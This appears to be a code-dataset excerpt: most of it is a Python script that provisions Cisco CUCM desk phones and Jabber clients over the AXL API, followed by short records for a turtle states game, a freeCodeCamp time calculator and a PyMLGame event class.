selection = input(\"Please select the location for this phone setup: \")\r\n        if selection == \"1\":\r\n            devicePoolName = 'LOCATION1_PHONES'\r\n            locationName = 'LOCATION1'\r\n            callingSearchSpaceName = 'LOCATION1_INTERNATIONAL'\r\n            callForwardAll = {'callingSearchSpaceName': 'LOCATION1_CFA_CSS'}\r\n            break\r\n        elif selection == \"2\":\r\n            devicePoolName = 'LOCATION2_PHONES'\r\n            locationName = 'LOCATION2'\r\n            callingSearchSpaceName = 'LOCATION2_LONG_DISTANCE'\r\n            callForwardAll = {'callingSearchSpaceName': 'LOCATION2_CFA_CSS'}\r\n            break\r\n        # you get the idea\r\n\r\nelif userEnteredRegion == 'Europe':\r\n    # Europe location menu\r\n    userLocale = None\r\n    softkeyTemplateName = 'Standard User'\r\n    routePartitionName = 'CLUSTER-DN'\r\n    locationMenu = {}\r\n    locationMenu[\"\\n1\"] = 'Denmark'\r\n    locationMenu[\"2\"] = 'Germany'\r\n    # you get the idea\r\n\r\n    while True:\r\n        options = locationMenu.keys()\r\n        for entry in options:\r\n            print(entry, locationMenu[entry])\r\n\r\n        selection = input(\"Please select the location for this phone setup: \")\r\n        if selection == \"1\":\r\n            devicePoolName = 'DENMARK-PHONES'\r\n            commonDeviceConfigName = 'DENMARK-PHONES'\r\n            locationName = 'DENMARK'\r\n            callingSearchSpaceName = 'DEVICE-DENMARK-UNRESTRICTED'\r\n            userLocale = 'Danish Denmark'\r\n            callForwardAll = {'callingSearchSpaceName': 'CW-INTERNAL'}\r\n            print('\\nDenmark set to allow internal forwarding only (Forward All CSS = CW-INTERNAL)')\r\n            # networkLocale = 'Denmark' # shouldn't need this as it's set on device pool\r\n            break\r\n        elif selection == \"2\":\r\n            devicePoolName = 'GERMANY-PHONES'\r\n            commonDeviceConfigName = 'GERMANY-PHONES'\r\n            locationName = 'GERMANY'\r\n            callingSearchSpaceName = 'DEVICE-GERMANY-UNRESTRICTED'\r\n            userLocale = 'German Germany'\r\n            callForwardAll = {'callingSearchSpaceName': 'CW-INTERNAL'}\r\n            print('\\nDiamant set to allow internal forwarding only (Forward All CSS = CW-INTERNAL)')\r\n            break\r\n        # you get the idea\r\n\r\nelif userEnteredRegion == 'APAC':\r\n    # APAC menu for agent location\r\n    userLocale = None\r\n    softkeyTemplateName = 'CUSTOM User'\r\n    routePartitionName = 'SYSTEM-CLUSTER-DN'\r\n    locationMenu = {}\r\n    locationMenu[\"\\n1\"] = 'Australia'\r\n    locationMenu[\"2\"] = 'Japan'\r\n    # you get the idea\r\n\r\n    while True:\r\n        options = locationMenu.keys()\r\n        for entry in options:\r\n            print(entry, locationMenu[entry])\r\n\r\n        selection = input(\"Please select the location for this phone setup: \")\r\n        if selection == \"1\":\r\n            devicePoolName = 'AUSTRALIA-PHONES'\r\n            commonDeviceConfigName = 'AUSTRALIA-PHONES'\r\n            locationName = 'AUSTRALIA'\r\n            callingSearchSpaceName = 'AUSTRALIA-UNRESTRICTED'\r\n            userLocale = 'English United States'\r\n            softkeyTemplateName = 'CUSTOM AUSTRALIA User'\r\n            callForwardAll = {'callingSearchSpaceName': 'SYSTEM-CW-INTERNAL'}\r\n            print('\\nAustralia set to allow internal forwarding only (Forward All CSS = SYSTEM-CW-INTERNAL)')\r\n            break\r\n        elif selection == \"2\":\r\n            devicePoolName = 'JAPAN-PHONES'\r\n            commonDeviceConfigName = 'JAPAN-PHONES'\r\n            locationName = 'JAPAN'\r\n            callingSearchSpaceName = 'JAPAN-UNRESTRICTED'\r\n            userLocale = 'Japanese Japan'\r\n            callForwardAll = {'callingSearchSpaceName': 'SYSTEM-CW-INTERNAL'}\r\n            print('\\nJapan set to allow internal forwarding only (Forward All CSS = SYSTEM-CW-INTERNAL)')\r\n            break\r\n\r\n\r\ndef _get_Phone_Mac_Address():\r\n    global phoneMac\r\n    global deskPhoneDeviceName\r\n    phoneMac = input(\"\\nPlease enter the MAC address of the desk phone (Quit if there's no desk phone): \")\r\n    if re.match(\"[0-9a-f]{2}([-:]?)[0-9a-f]{2}(\\\\1[0-9a-f]{2}){4}$\", phoneMac.lower()):\r\n        # regex replacement of - & :\r\n        phoneMac = re.sub(r'[:-]', '', phoneMac)\r\n        deskPhoneDeviceName = 'SEP' + phoneMac.upper()\r\n    else:\r\n        print('Invalid MAC address, please try again.')\r\n        _get_Phone_Mac_Address()\r\n\r\n\r\n# Get Prereqs / input data\r\nphoneUsername = input(\"\\nPlease enter the username of the person for the phone setup: \")\r\nphoneExt = input(\"\\nPlease enter the extension for the phone setup: \")\r\n# Menu for type of phone build Jabber/Deskphone/CIPC etc.\r\nuserEnteredPhoneModel = ''\r\njabberOnly = False\r\ndeskPhoneOnly = False\r\nphoneMac = None\r\ndeskPhoneDeviceName = None\r\nphoneBuildMenu = {}\r\nphoneBuildMenu[\"\\n1\"] = 'Desk Phone Only'\r\nphoneBuildMenu[\"2\"] = 'Jabber Only'\r\nphoneBuildMenu[\"3\"] = 'Desk Phone & Jabber'\r\nwhile True:\r\n    options = phoneBuildMenu.keys()\r\n    for entry in options:\r\n        print(entry, phoneBuildMenu[entry])\r\n    selection = input(\"Please select the type of phone build: \")\r\n    if selection == \"1\":\r\n        deskPhoneOnly = True\r\n        userEnteredPhoneModel = input(\"\\nPlease enter the model of the desk phone (e.g. 7942): \")\r\n        # replaced simple input with function to validate mac address\r\n        _get_Phone_Mac_Address()\r\n        break\r\n    elif selection == \"2\":\r\n        jabberOnly = True\r\n        break\r\n    elif selection == \"3\":\r\n        userEnteredPhoneModel = input(\"\\nPlease enter the model of the desk phone (e.g. 7942): \")\r\n        phoneMac = input(\"\\nPlease enter the MAC address of the desk phone (Quit if there's no desk phone): \")\r\n        deskPhoneDeviceName = 'SEP' + phoneMac\r\n        break\r\n\r\n\r\ndef _setup_connection():\r\n    # Setup SOAP/AXL/HTTPS Connection\r\n    global service\r\n    # Change to true to enable output of request/response headers and XML\r\n    DEBUG = False\r\n\r\n    # The WSDL is a local file in the working directory, see README\r\n    WSDL_FILE = 'schema/AXLAPI.wsdl'\r\n\r\n    # This class lets you view the incoming and outgoing http headers and XML\r\n\r\n    class MyLoggingPlugin(Plugin):\r\n\r\n        def egress(self, envelope, http_headers, operation, binding_options):\r\n\r\n            # Format the request body as pretty printed XML\r\n            xml = etree.tostring(envelope, pretty_print=True, encoding='unicode')\r\n\r\n            print(f'\\nRequest\\n-------\\nHeaders:\\n{http_headers}\\n\\nBody:\\n{xml}')\r\n\r\n        def ingress(self, envelope, http_headers, operation):\r\n\r\n            # Format the response body as pretty printed XML\r\n            xml = etree.tostring(envelope, pretty_print=True, encoding='unicode')\r\n\r\n            print(f'\\nResponse\\n-------\\nHeaders:\\n{http_headers}\\n\\nBody:\\n{xml}')\r\n\r\n\r\n    # The first step is to create a SOAP client session\r\n    session = Session()\r\n\r\n    # We avoid certificate verification by default\r\n    # session.verify = False\r\n\r\n    # To enabled SSL cert checking (recommended for production)\r\n    # place the CUCM Tomcat cert .pem file in the root of the project\r\n    # and uncomment the line below\r\n\r\n    session.verify = sessionCert\r\n\r\n    # Add Basic Auth credentials\r\n    session.auth = HTTPBasicAuth(cucmusername, cucmpassword)\r\n\r\n    # Create a Zeep transport and set a reasonable timeout value\r\n    transport = Transport(session=session, timeout=10)\r\n\r\n    # strict=False is not always necessary, but it allows zeep to parse imperfect XML\r\n    settings = Settings(strict=False, xml_huge_tree=True)\r\n\r\n    # If debug output is requested, add the MyLoggingPlugin callback\r\n    plugin = [MyLoggingPlugin()] if DEBUG else [ ]\r\n\r\n    # Create the Zeep client with the specified settings\r\n    client = Client(WSDL_FILE, settings=settings, transport=transport,\r\n            plugins=plugin)\r\n\r\n    # FUTURE create CUCM chooser menu\r\n\r\n    # Create the Zeep service binding to AXL at the specified CUCM\r\n    service = client.create_service('{http://www.cisco.com/AXLAPIService/}AXLAPIBinding', serverUrl)\r\n\r\n\r\n_setup_connection()\r\n\r\n\r\ndef _check_for_existing_setup():\r\n    global resetCredentials\r\n    global associatedDevices\r\n    # Find out if there's an existing phone/extension and if it's associated with the line\r\n    try:\r\n        lineResp = service.getLine(pattern=phoneExt, routePartitionName=routePartitionName)\r\n        # Unpack line dict and get associatedDevices. Format: userDetails = rawresp['return'].user\r\n        associatedDevices = lineResp['return'].line.associatedDevices\r\n    except Fault as err:\r\n        if str(err) == 'Item not valid: The specified Line was not found':\r\n            # Extension doesn't exist either error out or ask to create\r\n            # print(f'Zeep error: getLine: { err }')\r\n            logging.warning(cucmusername + ' Extension does not exist')\r\n            userResp = input('\\nThis extension does not exist, would you like to create? (y/n) ')\r\n            if userResp == 'y' or userResp == 'Y':\r\n                # FUTURE create ext.\r\n                input('\\nCode to create new extension has not been implemented, exiting.')\r\n                sys.exit(1)\r\n            else:\r\n                input('\\nPress Enter to quit.')\r\n                sys.exit(1)\r\n        elif str(err) == 'Unknown fault occured':\r\n            # Wrong credentials?\r\n            logging.error(cucmusername + ' ' + str(err))\r\n            print(f'Zeep error: getLine: { err }')\r\n            resetCredentailMenu = {}\r\n            resetCredentailMenu[\"\\n1\"] = 'Try username & password again'\r\n            resetCredentailMenu[\"2\"] = 'Quit'\r\n            while True:\r\n                options = resetCredentailMenu.keys()\r\n                for entry in options:\r\n                    print(entry, resetCredentailMenu[entry])\r\n                selection = input(\"Error authenticating or unknown error. Choose an option above: \")\r\n                if selection == \"1\":\r\n                    resetCredentials = True\r\n                    _setup_cucm_username()\r\n                    _setup_cucm_pw()\r\n                    _setup_connection()\r\n                    _check_for_existing_setup()\r\n                    break\r\n                elif selection == \"2\":\r\n                    sys.exit(1)\r\n                    break\r\n        else:\r\n            logging.error(cucmusername + ' ' + str(err))\r\n            print(f'Zeep error: getLine: { err }')\r\n            input('\\nCheck the error above and consult admin if needed, exiting.')\r\n            sys.exit(1)\r\n\r\n\r\n_check_for_existing_setup()\r\n\r\n# Assume extension exists and continuing to create phone/device profile\r\n# Ask if you want to blow it away or quit\r\nif associatedDevices is None or associatedDevices == \"\":\r\n    print('\\nNo devices associated with this line, continuing setup...')\r\nelse:\r\n\r\n    print(associatedDevices)\r\n    existingDeviceMenu = {}\r\n    existingDeviceMenu[\"\\n1\"] = 'CONTINUE: I am adding a device to an existing user that already has a phone.'\r\n    existingDeviceMenu[\"2\"] = 'DELETE: Remove or re-use this phone (This will delete all phones above. WARNING: All previous configuration will be lost.)'\r\n    existingDeviceMenu[\"3\"] = 'QUIT (check the device name/mac address or clean things up manually in CUCM.)'\r\n    while True:\r\n        options = existingDeviceMenu.keys()\r\n        for entry in options:\r\n            print(entry, existingDeviceMenu[entry])\r\n        selection = input('A device already exists with this extension. What would you like to do? ')\r\n        if selection == \"1\":\r\n            break\r\n        # need to test this code\r\n        elif selection == \"2\":\r\n            service.removePhone(name=associatedDevices)\r\n            print('Deleted these devices:')\r\n            print(associatedDevices)\r\n            break\r\n        elif selection == \"3\":\r\n            sys.exit(1)\r\n            break\r\n\r\n# Force LDAP Sync to pull name instead of prompting for them\r\ntry:\r\n    resp = service.doLdapSync(name='LDAP', sync='true')\r\nexcept Fault as err:\r\n    logging.error(cucmusername + ' ' + str(err))\r\n    print(f'Zeep error: doLdapSync: { err }')\r\n    input('\\n Press Enter to quit.')\r\n    sys.exit(1)\r\n# Loop and get status of LDAP sync before proceeding. Wait 1 second or it gets caught before complete\r\nspinner = Spinner('LDAP Syncing. This may take 1-2 minutes... ')\r\ntime.sleep(1)\r\nldapSyncStatus = ''\r\nwhile ldapSyncStatus != 'Sync is performed successfully':\r\n    try:\r\n        resp = service.getLdapSyncStatus(name='LDAP')\r\n        ldapSyncStatus = resp['return']\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: doLdapSync: { err }')\r\n    spinner.next()\r\n    time.sleep(1)\r\nprint(' LDAP Sync Successful...\\n')\r\n\r\n# Execute the getUser request\r\ntry:\r\n    getUserResponse = service.getUser(userid=phoneUsername)\r\n    userDetails = getUserResponse['return'].user\r\n    phoneLname = userDetails.lastName\r\n    phoneFname = userDetails.firstName\r\nexcept Fault as err:\r\n    logging.error(cucmusername + ' ' + str(err))\r\n    print(f'Zeep error: getUser: { err }')\r\n    input('\\n Press Enter to quit.')\r\n    sys.exit(1)\r\n\r\n# Normalize some data\r\njabberDeviceName = 'csf' + phoneUsername\r\nphoneDescription = phoneFname + ' ' + phoneLname + ' - ' + phoneExt\r\nphoneDisplay = phoneLname + ', ' + phoneFname[0]\r\nphoneModel = 'Cisco ' + userEnteredPhoneModel\r\n\r\nlogging.info(cucmusername + ' setting up ' + phoneUsername + ' ' + phoneDescription + ' in ' + locationName)\r\ninput('Continue phone build for ' + phoneDescription + ' in ' + locationName + ' ? (Press Ctrl + C to quit. Press Enter to continue...)')\r\n\r\n\r\ndef _setup_Jabber():\r\n    # Create the data for adding Jabber, associating the Line\r\n    phone = {\r\n        'name': jabberDeviceName,\r\n        'description': phoneDescription,\r\n        'product': 'Cisco Unified Client Services Framework',\r\n        'model': 'Cisco Unified Client Services Framework',\r\n        'class': 'Phone',\r\n        'protocol': 'SIP',\r\n        'protocolSide': 'User',\r\n        'devicePoolName': devicePoolName,\r\n        'commonDeviceConfigName': commonDeviceConfigName,\r\n        'phoneTemplateName': 'Standard Client Services Framework',\r\n        'commonPhoneConfigName': 'Standard Common Phone Profile',\r\n        'locationName': locationName,\r\n        'useTrustedRelayPoint': 'Default',\r\n        'builtInBridgeStatus': 'Default',\r\n        'deviceMobilityMode': 'Default',\r\n        'callingSearchSpaceName': callingSearchSpaceName,\r\n        'retryVideoCallAsAudio': 'true',\r\n        'allowCtiControlFlag': 'true',\r\n        'hlogStatus': 'On',\r\n        'packetCaptureMode': 'None',\r\n        'certificateOperation': 'No Pending Operation',\r\n        'enableExtensionMobility': 'true',\r\n        # Add line\r\n        'lines': {\r\n            'line': [\r\n                {\r\n                    'index': 1,\r\n                    'label': phoneDescription,  # Line text label\r\n                    'dirn': {\r\n                        'pattern': phoneExt,\r\n                        'routePartitionName': routePartitionName,\r\n                    },\r\n                    'display': phoneDisplay,\r\n                    'displayAscii': phoneDisplay,\r\n                    'e164Mask': externalMask,  # Used in specific locations\r\n                    'associatedEndusers': {\r\n                        'enduser': [\r\n                            {\r\n                                'userId': phoneUsername\r\n                            }\r\n                        ]\r\n                    }\r\n                }\r\n            ]\r\n        },\r\n        'securityProfileName': 'Cisco Unified Client Services Framework - Standard SIP Non-Secure Profile'\r\n    }\r\n    # Execute the addPhone request\r\n    try:\r\n        resp = service.addPhone(phone)\r\n        logging.info(cucmusername + ' created Jabber device ' + jabberDeviceName)\r\n\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: addPhone: { err }')\r\n        input('\\n Press Enter to quit.')\r\n        sys.exit(1)\r\n    # print('\\naddPhone response:\\n')\r\n    # print(resp, '\\n')\r\n    input('Jabber creation complete. Press Enter to continue...')\r\n\r\n    # Execute the updateLine request\r\n    try:\r\n        resp = service.updateLine(\r\n            pattern=phoneExt,\r\n            routePartitionName=routePartitionName,\r\n            alertingName=phoneDisplay,\r\n            asciiAlertingName=phoneDisplay,\r\n            description=phoneDescription,\r\n            callForwardAll=callForwardAll\r\n        )\r\n\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: updateLine: { err }')\r\n        input('\\n Press Enter to quit.')\r\n        sys.exit(1)\r\n    # print('\\nupdateLine response:\\n')\r\n    # print(resp, '\\n')\r\n    input('Line Updated. Press Enter to continue...')\r\n\r\n\r\ndef _setup_desk_phone():\r\n    # may need to add more models to diferentiate SIP/SCCP\r\n    if phoneModel.startswith('Cisco 78') or phoneModel.startswith('Cisco 88'):\r\n        protocol = 'SIP'\r\n        securityProfileName = phoneModel + ' - Standard SIP Non-Secure Profile'\r\n    else:\r\n        protocol = 'SCCP'\r\n        securityProfileName = None\r\n    if userEnteredPhoneModel == '7942' or userEnteredPhoneModel == '7962':\r\n        phoneTemplateName = 'Standard ' + userEnteredPhoneModel + 'G ' + protocol\r\n    else:\r\n        phoneTemplateName = 'Standard ' + userEnteredPhoneModel + ' ' + protocol\r\n    phone = {\r\n        'name': deskPhoneDeviceName,\r\n        'description': phoneDescription,\r\n        'product': phoneModel,\r\n        'model': phoneModel,\r\n        'class': 'Phone',\r\n        'protocol': protocol,\r\n        'protocolSide': 'User',\r\n        'devicePoolName': devicePoolName,\r\n        'commonDeviceConfigName': commonDeviceConfigName,\r\n        'phoneTemplateName': phoneTemplateName,\r\n        'softkeyTemplateName': softkeyTemplateName,\r\n        'commonPhoneConfigName': 'Standard Common Phone Profile',\r\n        'locationName': locationName,\r\n        'useTrustedRelayPoint': 'Default',\r\n        'builtInBridgeStatus': 'Default',\r\n        'deviceMobilityMode': 'Default',\r\n        'callingSearchSpaceName': callingSearchSpaceName,\r\n        'retryVideoCallAsAudio': 'true',\r\n        'allowCtiControlFlag': 'true',\r\n        'hlogStatus': 'On',\r\n        'packetCaptureMode': 'None',\r\n        'certificateOperation': 'No Pending Operation',\r\n        'enableExtensionMobility': 'true',\r\n        'securityProfileName': securityProfileName,\r\n        # Add line\r\n        'lines': {\r\n            'line': [\r\n                {\r\n                    'index': 1,\r\n                    'label': phoneDescription,  # Line text label\r\n                    'dirn': {\r\n                        'pattern': phoneExt,\r\n                        'routePartitionName': routePartitionName,\r\n                    },\r\n                    'display': phoneDisplay,\r\n                    'displayAscii': phoneDisplay,\r\n                    'e164Mask': externalMask,  # Used in specific locations\r\n                    'associatedEndusers': {\r\n                        'enduser': [\r\n                            {\r\n                                'userId': phoneUsername\r\n                            }\r\n                        ]\r\n                    }\r\n                }\r\n            ]\r\n        }\r\n    }\r\n\r\n    # Execute the addPhone request\r\n    try:\r\n        resp = service.addPhone(phone)\r\n        logging.info(cucmusername + ' created desk phone ' + deskPhoneDeviceName + ' ' + userEnteredPhoneModel)\r\n        # TODO Future add handling for a device that already exists\r\n        # Could not insert new row - duplicate value in a UNIQUE INDEX column (Unique Index:)\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: addPhone: { err }')\r\n        input('\\n Press Enter to quit.')\r\n        sys.exit(1)\r\n    # print('\\naddPhone response:\\n')\r\n    # print(resp, '\\n')\r\n    input('Desk phone creation complete. Press Enter to continue...')\r\n\r\n    # Execute the updateLine request\r\n    try:\r\n        resp = service.updateLine(\r\n            pattern=phoneExt,\r\n            routePartitionName=routePartitionName,\r\n            alertingName=phoneDisplay,\r\n            asciiAlertingName=phoneDisplay,\r\n            description=phoneDescription,\r\n            callForwardAll=callForwardAll\r\n        )\r\n\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: updateLine: { err }')\r\n        input('\\n Press Enter to quit.')\r\n        sys.exit(1)\r\n    # print('\\nupdateLine response:\\n')\r\n    # print(resp, '\\n')\r\n    input('Line Updated. Press Enter to continue...')\r\n\r\n\r\ndef _update_End_User():\r\n    # LDAP sync should have occured above\r\n    # Set data for UpdateUser Request (only variables with multiple values)\r\n\r\n    primaryExtension = {\r\n        'pattern': phoneExt,\r\n        'routePartitionName': routePartitionName\r\n    }\r\n    associatedGroups = {\r\n        'userGroup': [\r\n            {'name': 'Standard CCM End Users'},\r\n            {'name': 'Standard CTI Enabled'}\r\n        ]\r\n    }\r\n    if deskPhoneOnly:\r\n        # Get existing data and append or it will wipe out existing associations\r\n        try:\r\n            resp = service.getUser(userid=phoneUsername)\r\n            userDetails = resp['return'].user\r\n            currentAssociatedDeviceList = userDetails.associatedDevices\r\n        except Fault as err:\r\n            print(f'Zeep error: getUser: { err }')\r\n            input('\\n Press Enter to quit.')\r\n            sys.exit(1)\r\n        # Append desk phone to list\r\n        if currentAssociatedDeviceList is None:\r\n            updatedAssociatedDevices = {\r\n                'device': deskPhoneDeviceName\r\n            }\r\n        else:\r\n            unpackedAssociatedDevices = currentAssociatedDeviceList.device\r\n            unpackedAssociatedDevices.append(deskPhoneDeviceName)\r\n            updatedAssociatedDevices = {\r\n                'device': unpackedAssociatedDevices\r\n            }\r\n    elif jabberOnly:\r\n        # Get existing data and append or it will wipe out existing associations\r\n        try:\r\n            resp = service.getUser(userid=phoneUsername)\r\n            userDetails = resp['return'].user\r\n            currentAssociatedDeviceList = userDetails.associatedDevices\r\n        except Fault as err:\r\n            print(f'Zeep error: getUser: { err }')\r\n            input('\\n Press Enter to quit.')\r\n            sys.exit(1)\r\n        # Append jabber to list\r\n        if currentAssociatedDeviceList is None:\r\n            updatedAssociatedDevices = {\r\n                'device': jabberDeviceName\r\n            }\r\n        else:\r\n            unpackedAssociatedDevices = currentAssociatedDeviceList.device\r\n            unpackedAssociatedDevices.append(jabberDeviceName)\r\n            updatedAssociatedDevices = {\r\n                'device': unpackedAssociatedDevices\r\n            }\r\n    else:\r\n        # Get existing data and append or it will wipe out existing associations\r\n        try:\r\n            resp = service.getUser(userid=phoneUsername)\r\n            userDetails = resp['return'].user\r\n            currentAssociatedDeviceList = userDetails.associatedDevices\r\n        except Fault as err:\r\n            print(f'Zeep error: getUser: { err }')\r\n            input('\\n Press Enter to quit.')\r\n            sys.exit(1)\r\n        # Append jabber to list\r\n        if currentAssociatedDeviceList is None:\r\n            updatedAssociatedDevices = {\r\n                'device': [\r\n                    jabberDeviceName,\r\n                    deskPhoneDeviceName\r\n                ]\r\n            }\r\n        else:\r\n            unpackedAssociatedDevices = currentAssociatedDeviceList.device\r\n            unpackedAssociatedDevices.append(deskPhoneDeviceName)\r\n            unpackedAssociatedDevices.append(jabberDeviceName)\r\n            updatedAssociatedDevices = {\r\n                'device': unpackedAssociatedDevices\r\n            }\r\n    # Execute update end user (1st time)\r\n    if deskPhoneOnly:\r\n        try:\r\n            resp = service.updateUser(\r\n                    userid=phoneUsername,\r\n                    userLocale=userLocale,\r\n                    homeCluster=True,\r\n                    associatedDevices=updatedAssociatedDevices,\r\n                    enableCti=True,\r\n                    associatedGroups=associatedGroups\r\n                    )\r\n            logging.info(cucmusername + ' first pass updated end user ' + phoneUsername)\r\n        except Fault as err:\r\n            logging.error(cucmusername + ' ' + str(err))\r\n            print(f'Zeep error: updateUser: { err }')\r\n            input('\\n Press Enter to quit.')\r\n            sys.exit(1)\r\n    else:\r\n        try:\r\n            resp = service.updateUser(\r\n                userid=phoneUsername,\r\n                userLocale=userLocale,\r\n                homeCluster=True,\r\n                imAndPresenceEnable=True,\r\n                associatedDevices=updatedAssociatedDevices,\r\n                enableCti=True,\r\n                associatedGroups=associatedGroups\r\n                )\r\n            logging.info(cucmusername + ' first pass updated end user ' + phoneUsername)\r\n        except Fault as err:\r\n            logging.error(cucmusername + ' ' + str(err))\r\n            print(f'Zeep error: updateUser: { err }')\r\n            input('\\n Press Enter to quit.')\r\n            sys.exit(1)\r\n        # print('\\nupdateUser response:\\n')\r\n        # print(resp, '\\n')\r\n\r\n    # Execute update end user (2nd time)\r\n    try:\r\n        resp = service.updateUser(\r\n            userid=phoneUsername,\r\n            # Need to update after phone/Jabber is associated\r\n            primaryExtension=primaryExtension,\r\n            )\r\n        logging.info(cucmusername + ' second pass updated end user ' + phoneUsername)\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: updateUser: { err }')\r\n        input('\\n Press Enter to quit.')\r\n        sys.exit(1)\r\n    print('End User Updated...\\n')\r\n\r\n\r\ndef _update_Desk_Phone_Owner():\r\n    try:\r\n        resp = service.updatePhone(\r\n            name=deskPhoneDeviceName,\r\n            ownerUserName=phoneUsername\r\n            )\r\n        logging.info(cucmusername + ' updated desk phone ' + deskPhoneDeviceName + ' owner to ' + phoneUsername)\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: updatePhone: { err }')\r\n        input('\\n Press Enter to quit.')\r\n        sys.exit(1)\r\n    print('Desk Phone owner updated...\\n')\r\n\r\n\r\ndef _update_Jabber_Owner():\r\n    try:\r\n        resp = service.updatePhone(\r\n            name=jabberDeviceName,\r\n            ownerUserName=phoneUsername\r\n            )\r\n        logging.info(cucmusername + ' updated jabber ' + jabberDeviceName + ' owner to ' + phoneUsername)\r\n    except Fault as err:\r\n        logging.error(cucmusername + ' ' + str(err))\r\n        print(f'Zeep error: updatePhone: { err }')\r\n        input('\\n Press Enter to quit.')\r\n        sys.exit(1)\r\n    print('Jabber owner updated...\\n')\r\n\r\n\r\n# EXECUTE!\r\nif deskPhoneOnly:\r\n    _setup_desk_phone()\r\n    _update_End_User()\r\n    _update_Desk_Phone_Owner()\r\nelif jabberOnly:\r\n    _setup_Jabber()\r\n    _update_End_User()\r\n    _update_Jabber_Owner()\r\nelse:\r\n    _setup_desk_phone()\r\n    _setup_Jabber()\r\n    _update_End_User()\r\n    _update_Desk_Phone_Owner()\r\n    _update_Jabber_Owner()\r\n\r\nlogging.info(cucmusername + ' succesfully reached end of script')\r\ninput(\r\n    'Complete. Do the following manual tasks where applicable:'\r\n    '\\n1:Setup voicemail (import from LDAP using UCXN GUI)'\r\n    '\\nPress Enter to quit.')\r\n","repo_name":"dillonator/cucm-provisoning","sub_path":"StandardPhoneSetup.py","file_name":"StandardPhoneSetup.py","file_ext":"py","file_size_in_byte":32819,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"11760082920","text":"import turtle\n\nimport pandas as pd\n\nfrom scoreboard import Scoreboard\nfrom get_coor import Get_coor\n\n\nscoreboard=Scoreboard()\nscreen=turtle.Screen()\ncanvas = screen.getcanvas()\nwindow = canvas.create_window((100, 100), width=200, height=100)\nscreen.title(\"US States Game\")\nimage=\"blank_states_img.gif\"\nscreen.addshape(image)\nturtle.shape(image)\n\nscreen.tracer(0)\n\n\n# def get_mouce_click_coor(x,y):\n#     print(x,y)\n#\n# turtle.onscreenclick(get_mouce_click_coor)\n\nturtle.penup()\n\nget_coor=Get_coor()\ngameIsOn= True\nwhile gameIsOn:\n    correct=scoreboard.score\n    userInput=screen.textinput(title=f\"{correct}/50 States Correct\",prompt=\"What's another States?\",)\n    coor=(0,0)\n    if userInput.title()=='Exit':\n        break\n    if get_coor.have_available(userInput):\n        scoreboard.addScore()\n        coor=get_coor.get_location(userInput)\n        turtle.goto(coor)\n        turtle.write(userInput)\n        turtle.goto((0, 0))\n        screen.update()\n\n    if scoreboard.score==50:\n        gameIsOn=False\n\n\n#states to learn.csv\ndic={\n    \"Unvisted City\": get_coor.all_city_list\n}\ndf=pd.DataFrame(dic)\ndf.to_csv(\"learn.csv\")\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mamun464/US_States_Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70970409608","text":"def add_time(start, duration, wday=False):\n\n  from math import floor\n\n  weekday=[\"saturday\",\"sunday\",\"monday\",\"tuesday\",\"wednesday\",\"thursday\",\"friday\"]\n  wd_c=[\"Saturday\",\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\"]\n\n  st=start.split()\n  stt=st[0].split(\":\")\n  dtt=duration.split(\":\")\n  ampm=st[1]\n  if ampm==\"PM\":\n    stt_f=[int(stt[0])+12,int(stt[1])]\n  else:\n    stt_f=[int(stt[0]),int(stt[1])]\n\n  dtt_f=[int(dtt[0]),int(dtt[1])]\n  \n  day=floor(dtt_f[0]/24)\n  dtt_f[0]=dtt_f[0]%24\n\n  ad=[dtt_f[0]+stt_f[0],dtt_f[1]+stt_f[1]]\n  if ad[1]>=60:\n    ad[0]=ad[0]+floor(ad[1]/60)\n    ad[1]=ad[1]%60\n  if ad[0]>=24:\n    day=day+floor(ad[0]/24)\n    ad[0]=ad[0]%24\n  \n  if ad[0]>=12:\n    ampm=\"PM\"\n    ad[0]=ad[0]-12\n  else:\n    ampm=\"AM\"\n  if ad[0]==0:\n    ad[0]=12\n\n  day_str=''\n  if day==0:\n    day_str=\"\"\n  elif (day==1):\n    day_str=\" (next day)\"\n  else:\n    day_str=\" (\"+str(day)+\" days later)\"\n  \n  new_time=str(ad[0])+\":\"+str(ad[1]).zfill(2)+\" \"+ampm+day_str  \n  \n  if wday!=False:\n    wday=wday.lower()\n    wday_n=weekday.index(wday)\n    wday_n=((wday_n+day+1)%7)-1\n    new_time=str(ad[0])+\":\"+str(ad[1]).zfill(2)+\" \"+ampm+\", \"+wd_c[wday_n]+day_str  \n\n  return new_time","repo_name":"azminewasi/FreeCodeCamp-Certification-Projects","sub_path":"Scientific Computing with Python Projects/p2-time-calculator/time_calculator.py","file_name":"time_calculator.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"41881193738","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nPyMLGame - Event\n\"\"\"\n\nfrom pymlgame.locals import E_KEYDOWN, E_KEYUP\n\n\nclass Event(object):\n    def __init__(self, uid, type, data=None):\n        self.uid = uid\n        self.type = type\n        if type == E_KEYDOWN or type == E_KEYUP:\n            self.button = data\n        else:\n            self.data = data\n","repo_name":"PyMLGame/pymlgame","sub_path":"pymlgame/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
